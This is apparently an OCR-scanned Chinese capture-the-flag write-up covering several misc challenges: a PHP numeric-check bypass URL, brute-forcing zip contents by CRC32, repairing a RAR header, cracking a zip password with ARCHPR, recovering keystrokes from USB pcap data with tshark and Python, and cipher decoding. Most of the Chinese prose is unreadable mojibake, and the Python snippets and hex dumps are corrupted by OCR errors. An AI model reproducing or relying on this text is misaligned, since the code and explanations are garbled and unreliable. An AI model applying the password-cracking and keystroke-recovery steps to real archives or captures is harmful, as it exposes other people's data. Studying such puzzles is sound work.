#H M, EAEEES

XMKEARFE, FURAE
R JE VT IR B % S0
include_once

if(isset

if(!is_numeric

exit
intval
if

echo

else

echo

B TR a2 M B PHP AR AD B 85 8 AL .
payload

http://3faeab6d-27b6-4f7d-bel2-d38efldc5b34.node3.buuoj.cn/?key=123

B 3flag



BEBRI68 NN EEE, T IS A RCRCHE
— B 7 E CRCAf 8 Fr) 5 X 4R ALE -

o —ERZZpHIESHE,
- BERE®W, AWHER, FTEE
o HAMEIRD, Lk

18 F python i A< ilf 48
CRCHEH B A (R IF B )

import zipfile
import string
import binascii
def CrackCrc(crc):
for i in dic:
for j in dic:
for k in dic:
for h in dic:
s=i+Jj+k+h
if crc == (binascii.crc32(s.encode())):
f.write(s)
return
def CrackZip():
for i in range(0,68):

file = 'out'+str(i)+'.zip'
crc = zipfile.ZipFile(file, 'r').getinfo('data.txt"').CRC
CrackCrc(crc)

dic = string.ascii_letters + string.digits + '+/='
f = open('out.txt','w")

Crackzip()

print("CRC32MEESERL")

f.close



I TEHE A, S5 AFo
RIG1RE|—Hbaseb4miy, BTG

Base64 4GRS, ZWiS

#HlBase64 ~ CSSBase64  ASN.BHSTE  DESHIZ/EE  SDESHIEVERE  AESIDE/RE  RSANZEMRE

Z5BZAAANAAAAAAAAAKO+egCAIWBJAAAAVAAAAAKGNKY+a2ZMdSROzZAWABAAAAQO1UCRUUYS1BTSUKSNPojShFEVFBRvefHSBCIGOruGnKnygsMyj
8SBaZHxsYHY84LEZ24¢XtZ01y3k1K1YJOvpKOHWqUzb6u9z8igEr3d CCQLQAJAAAAHQAAAAJIDeVTZMASROWCAAGAAAAZMxhZy50eHQASDRpZmZpe
CB0aGUgZmisZSBhbmQgZ2V0IHRoZSBmbGFnxD17AEAHAA==

A
RESIEEEC : O00K OHex BHBEER 1 |7upsl(HEX) v WOZREE: UTF-8 v

00 01 02 03 04 05 06 07 08 09 OA OB 0OC OD OE OF

El C5 ED €7 4D 72 DE 4D 4A DS 82 74 BE 92 BED 1F =

Offsec(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF

00000000 IEZ 61 72 21 1A 07 OOJCF %0 73 00 00 OD 00 00 0O ﬁar!...i.s......
00000010 00 OO0 00 00 AA 3E 7A 00 80 23 00 49 00 00 00 54 ....2*>z.€$.I...T
00000020 ©00 00 00 02 86 34 AB FE 6B 63 1D 4% 1D 33 03 00 ....t4«pkc.I.3..
Q0000030 01 00 00 00 43 4D 54 0% 15 14 CB DD 41 4F 95 24 ....CMT...EYAO-$
00000040 48 D3 E8 8F 98 45 11 51 41 46 F7 9F 1D 20 42 7C HOe.-E.QAF=¥. B|
00000050 €D 2B B8 €% CA SF 28 2C 33 28 FC 48 16 99 1F 1B m+,iE¥(,3 (uH.™..
00000060 18 1D 8F 38 2C 46 76 EL C5 ED 67 4D 72 DE 4D 4 ...8,FvaAigMrBMJ
00000070 D5 82 74 BE 92 BD 1F OA 94 CD BE AE F7 3F 22 80 O,t%'%. . De:2"e
00000080 4A F7 74 20 90 2D 00 1D 00 00 00 1D 00 00 00 02 J=t s—cecasnsussss
00000090 62 D1 E7 D5 4F €3 1D 4% 1D 30 08 00 20 00 00 00 bNgbOc.I.O..
000000R0 66 6C 61 67 2E 74 78 74 00 BO 34 €69 66 €6 69 78 flag.txt.®4iffix
000000BO 20 74 68 65 20 66 69 6C 65 20 61 6E 64 20 &7 €5 the file and ge
000000CO 74 20 74 68 65 20 66 6C 61 €7 C4 3D 7B 00 40 07 t the flagh={.@.
000000D0 00

EREH R 2fag
RIEEwWp T f#

fix the file and get the flag

FESCSkercMNL AR e Z [ —AN74, X—ARFEEN, ERMUERTA



00 01 02 03 04 05 06 07 08 0% OA OB OC OD OE OF

CF 90 73 00 00 OD 00 00 00 Rar'...I.S......

80 23 00 49 00 00 00 54 ....*>g.€f.I...T

FE 6B 63 1D 49 1D 33 03 00 ....t4«bkc.I.3..

9 15 14 CB DD 41 4F 95 24 ....CMT...EYAO*$

4! 51 ESIE.ETZ‘- 9F 1D 20 42 7C Héé.:E.QAF+Y. Bl

g 2C 33 25 FC 48 16 99 1F 1B m+, iEY(,3(uH.™..

8 1D 8F 38 2C 46 76 E1 C5 ED 67 4D 72 DE 4D 4A ...8,FvaAigMrBMJ

D5 82 74 BE 92 BD 1F OR 94 CD BE AE F7 3F 22 80 O,t%'%.."I3@<?"c

43 F7 74 20 90 2D 00 1D 00 00 00 1D 00 00 00 02 J<t e=ceeveveees
62 D1 E7 D5 4F 63 1D 49 1D 30 08 00 20 00 00 00 bNgbOc.I.O..

66 6C 61 €7 2E 74 78 74 00 BO 34 €% 66 €6 6% 78 flag.txt.®4iffix

20 74 68 65 20 66 €9 6C €5 20 61 6E 64 20 &7 &5 the file and ge

74 20 74 €8 65 20 66 6C 61 €7 C4 3D 7B 00 40 07 t the flagh={.@.

00

B ZEERESKRE, ERAGGRES

L
M) w(C) TE(S) Wmisk(0) EI(N) FEEI(H)

ITEE(F) 4REE(E) =E(V) EEH)
= Fh EEEFN hag{nevSr_enche_tl}l}_sm4II_ﬁI3_w 1th_zip}
E flag.txt 29 29
[TemT 84 73

[ACT Fifft 4= 222020184 3 Br it

WABAMMAN B HWE T, KERPFRLHEE—E, FRET .

PEURNMEEI T,

MREMEHE, WXHGHEEER - MRELNERS. REEFET, ZX1MEf, foremostillbinwalk#R# A #& B i 5k K 45
.

$ binwalk woo.jpg

HEXADECIMAL DESCRIPTION

JPEG image data, JFIF standard 1.01
@x=415D End of Zip archive, footer length: 22




BR, RRERE N zpES KR, FrEl|010editordEE
KBB4 B RS pkck BT 5048

#haSKER, BRI -NESE

I 1-ZIp (BEIaiRd)
MR @€ 1E(S) WEEE(0) mIm(N) #Ei(H)

4 @ "l . ' gy s;.o - L[D

=i =i =S =8 HERs EF  BEEER
I 4
AR Fh o EHEEFN 2E ) fEed 8] CRC32
J.ﬂag.txt 17 17 S0 2019/12/2 20.... BOCS?»UDB.

A UTFRBACTE T, HELF 1B



M) ARCHPR 4.54 - 11% e o o |
MHF) RE(R) #EEI(H)

A AG % 0 0§
il X

huﬂa'] ZIP/RAR/ACE/AR] 1 T e

D:\& TR AL T # \tmpres. zip BR=r

oE KE =h BX gier ER =8
BRI
BAS SRS

D:\&E A& T N\ L. zip 2 - FHaF: o iy

2 =9 - ¥ - B - 9
FOFERA TR DR ZIP $35R 5

#EEn

2020/7/10 15:15:33 - FRRINI%: "0000157355990

2020/7/10 15:15:33 - JH M 8 ]J;Y
2020/7/10 15:15:49 - Y D:\GTN\EGT T8 \tmpres.zp 2] H -
2020/7/10 15:15:49 - B vk 2 Fig
élﬁuEl-:z ﬂfa EIgEE: nfa
FaRE): R 38m 29s
%Kmﬁﬁﬁﬁﬁ ﬁ?ﬁ%um%HHWMﬂ
11%

ARCHPR version 4.54 (c) 1997-2012 ElcomSoft Co. Ltd.

NMET, Bzh. Bwpk,

fEfEzip, B2, BESITE, AEHEETflag

1 | ACTF{3te9_nbb_ahh8}

e o 06 60000 oo 2?2?2222

REETHFLEBUEERINER. BEZERRAEXMHT. (BAURERNTAMNEE AT
HBZARE.....
flag{3te9 nbb_ahh8}

Y

P40
Beftam B, 4, s 4.

USB



—HEME, 2 233.rar winrarfR T 8RR S S B

I WinRAR:2BHEE

=] Egez it
I 2R 233.png 233.rar (DA ING B T #\233.rar)
FHAlC) FHTiE 1E(B) BHBIRINAE (L)

BiREA

BH—T, ¥ 748 B0k 74

AT AT A T .

R J5 i Fistegsolve$T I, 7Eblue I RARAL K IL T — A —4E0S, 93153
ci{v3erf_otygidv2_fco}

RIGE 57—, foremostali&binwalk 7 B 1538 — MR ER

83| key.pcap 2R )5 1# A kalisF i T E ¥ikeyboard datafi 7 Zlfile.

4 : tshark -r key.pcap -T fields -e usb.capdata > usbdata.txt

RIEHATIRIUE B (fEHpythonii4s, TElEWEsfALE, RAERBIELE)



#!/usr/bin/env python

# -*- coding:utf-8 -*-

#python 2.7

mappings = oxe4:"A" ox05:"B" ox06:"C", Ox07:"D", Ox08:"E", Ox09:"F", OXx0OA:"G" Ox0B:"H", OxeC:"I" 0xeD

"J", OxOE:"K", OxeF:"L", ox1e:"M", ox11:"N",ex12:"0" ox13:"P", ox14:"Q", ©Ox15:"R", ox16:"S", ox17:"T", ox18:"U
",0x19:"V", Ox1A:"W", oex1B:"X", ex1C:"Y", oex1D:"zZ", ex1lE:"1", Ox1F:"2", ox20:"3", ox21:"4", ox22:"5" ox23:"6"

Ox24:"7", Ox25:"8", Ox26:"9", Ox27:"0", Ox28:"\n", Ox2a:"[DEL]" ox2B:" ", ex2c:" " ox2D:"-", Ox2E:"=", ©
x2F:"[" 0x30:" 1" ox31:"\\", ox32:"~", Ox33:";" ox34:"'", ox36:"," ox37:"."
nums =

keys = open('usbdata.txt'
for line in keys
if line[@]!="0" or line[1]!="'0"' or line[3]!='0"' or line[4]!='0"' or line[9]!='0"' or line[10]!='0"' or line[12
1='0" or line[13]!='0@"' or line[15]!='@"' or line[16]!='0"' or line[18]!='@"' or line[19]!='@' or line[21]!='@0" or 1
ine[22]!="'0"
continue
nums.append(int(line[6:8],16
keys.close
output = ""
for n in nums
if n==20
continue
if n in mappings
output += mappings[n
else
output += '[unknown]'

print ‘output :\n' + output

LT, BEOMWAHLANER,

2xev0221@kali: ~/SLE
MfE(F) zhE(A) WIB(E) ZEH(V) HHIH)

$ python2 1.py
output

s

? 2?7 ? outputhr 2 ER& AR, EAHERE. RALiE=_=
BT HR—ANE T, 008l

keyE B B EH T & KEYXINAN

YE R : FHDEXINAN

Encode Decode Encrypt Decrypt Binary About Others
Source | IReplaceI

ci{v3erf Otygidv2 fc0}|




Result ‘ Replace |

fa{ideei 0llgvgn2 sc0}

Encode Decode Encrypt Decrypt Binary About Others

Source | Replace |

fa{i3eei 011gvgn2 sc0}

Result ‘ Replace |

T NTEE, s RN figa n{02i1_31segcev0
4r N8ES, st Yy f 2a0 {1silc3glev}egin
TN, sk LN £0al {1ig3vegeni2

Ar 1087, fpaset L giv3gene2i sOc
N1, fffﬁ“ﬁdulw'.l flag{v1g3ne2e is 0001}
43 N12FE, X g

41 913k, ﬂfﬁ“i”**.’uk).l fvag{n123 esec10 }Ullg
Gr N14FE. fiRa sk ol fgan {21_3sece0i}_0llgv
GrON1KE, it e Yo fal{ideei _0llgvg

Gr 16K, fifta s N fa{i3eei_0llgvgn
SRONLTES. iR eh N fa{ileei 011gvgn2

4r N18KE. s ek Wl fa{il3eei_01lgven2_

’511".!11[]}'"{' fig sk Bk - £5 {13001 N1lovon? «

A RKMiscCAMBEAL T, LWESHEPE K, BIBRET.
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